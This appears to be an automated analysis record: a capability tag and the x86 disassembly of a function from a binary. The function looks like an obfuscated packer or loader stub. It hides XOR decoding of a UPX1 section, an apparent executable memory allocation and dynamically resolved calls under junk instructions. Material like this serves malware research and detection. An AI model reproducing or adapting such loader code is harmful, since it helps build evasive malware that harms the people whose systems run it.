Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3d857514
dec edx
dec edx
sub edi, edx
popal
mov edi, 0xf1ab5550
add edi, edx
mov eax, 0
mov edi, ebx
sub esi, 0xdf505f0d
mov esi, ecx
or esi, ecx
mov edx, edi
mov ecx, esi
sub esi, ecx
mov ebx, edx
add esi, 0xfb46ea36
inc esi
inc eax
sub ecx, 0x7fd632b6
sub esi, 1
cmp eax, 0x100594a
jne 0xa789c3
or ecx, ecx
and esi, esi
and esi, ecx
add edi, edi
or edi, edx
sub edi, 1
mov edi, 0xa78796
not ebx
add eax, 0x1fdd7752
mov esi, 0xa7898a
add eax, 0xfa8c9b69
not edx
sub eax, 1
mov ecx, dword [edi]
mov eax, 0xeb846c9e
mov eax, 0x71a19433
and ecx, 0xff
dec ebx
or edx, edx
xor dword [esi], ecx
and eax, ebx
mov ebx, edx
add edx, 0x3e57f5a4
inc esi
dec eax
mov ebx, 0xdfc4b181
inc edi
sub eax, 0x1a28fb5a
sub ebx, 0x903d4bfa
mov edx, eax
cmp esi, entry0
jl 0xa78a27
sub edx, eax
sub ebx, eax
add eax, eax
or ebx, edx
mov ecx, ebx
dec ecx
mov esi, 0xa7898e
add edx, 1
sub ebx, edx
dec ecx
mov esi, dword [esi]
add ecx, edx
dec ecx
add ecx, ebx
mov esi, dword [esi]
inc ebx
mov edx, 0x47696dd2
inc ebx
push esi
add ebx, ecx
add edi, ebx
mov esi, 0xa7898a
mov ebx, 0x276be78f
mov ecx, 0x6555d36c
sub edi, ebx
mov esi, dword [esi]
or ecx, ebx
sub edx, 1
mov edx, 0x482bc60b
mov esi, dword [esi]
and edx, edi
add ebx, edi
push 0xa78992
add ebx, 0x7305387e
add ebx, ecx
call esi
mov ecx, 0x7bc9a316
sub ecx, edx
pop esi
not edi
dec edx
push 0xa7899f
mov ecx, edi
or edi, edx
sub edi, 0xc98d5770
push eax
not ebx
inc edi
call esi
sub edx, edi
sub edx, edi
push 0x40
sub ecx, 0x45be18ef
not edx
add ebx, edx
push 0x3000
not ebx
sub ecx, 0x4e13665a
push 0x20000783
add ecx, 0xced81325
not edx
push 0
add ecx, edi
sub edx, 1
call eax
inc ecx
dec ecx
sub edi, ebx
add eax, 0x200006ea
or ebx, edi
sub ecx, 0x5b121346
mov ecx, ebx
mov esi, 0xdbddec1d
not edi
mov ecx, 0xc392d60
mov dword [eax], esi
dec ecx
mov ecx, 0xc1f6e5bc
not edi
mov esi, dword [eax]
mov edi, 0xfeefe5df
add edi, ecx
cmp esi, 0xdbddec1d
je 0xa78b6b
mov eax, 0
mov byte [eax], cl
mov edi, 0x2d3ebaa3
or ecx, edx
mov edi, edx
add ebx, edx
add edi, edi
mov edi, 0xb92d89eb
mov esi, section.UPX1
and edi, edx
dec edx
and edi, edx
mov ebx, 0xa78795
and edx, edx
or edx, edx
mov ecx, 0
or edi, edi
mov edi, edx
mov eax, 0xa78796
add edx, 0x3bd9cad3
mov edi, edx
lea eax, [ecx + eax]
sub edi, 1
sub edx, 0x2bb39a63
and edi, edx
mov eax, dword [eax]
mov edx, edi
add edx, edi
and eax, 0xff
mov edx, 0x8e4bc5e6
inc edx
add edi, 1
add ecx, 1
sub edx, edi
and edi, edx
or edi, edi
cmp ecx, 0x1f4
jne 0xa78be8
mov ecx, 0
sub edx, edi
dec edi
dec edx
add edi, 0xb9bbda4c
add edi, 0xae9ce15d
xor dword [esi], eax
or edx, edi
add edx, edi
add esi, 2
mov edx, edi
dec edi
cmp esi, ebx
jl 0xa78b99
sub edi, 0xcda2ce21
mov edx, edi
inc edx
and edi, edx
or edx, edi
mov ecx, section.UPX1
and ebx, ebx
not edi
mov eax, section.UPX1
mov edi, 0x236fc3be
add ebx, 0x8cc058cc
mov esi, 0xa78795
mov ebx, 0x4bd486e9
not ebx
mov edx, 0
sub edi, ebx
inc edi
sub ebx, 0x7ae7b5dd
mov dl, byte [eax]
and edi, ebx
sub edi, ebx
mov edi, 0x5a13bbd3
mov byte [ecx], dl
or ebx, ebx
sub edi, ebx
inc ecx
inc ebx
not edi
add eax, 2
add ebx, 0xad65ecfe
sub ebx, 1
and ebx, edi
cmp eax, esi
jle 0xa78c4f
sub ebx, 0xf12f5c83
add edi, 0x34a77688
and edx, edi
inc edx
push 0x8dc6a0
mov edx, 0xa01c8c34
sub edx, edi
sub edx, edi
ret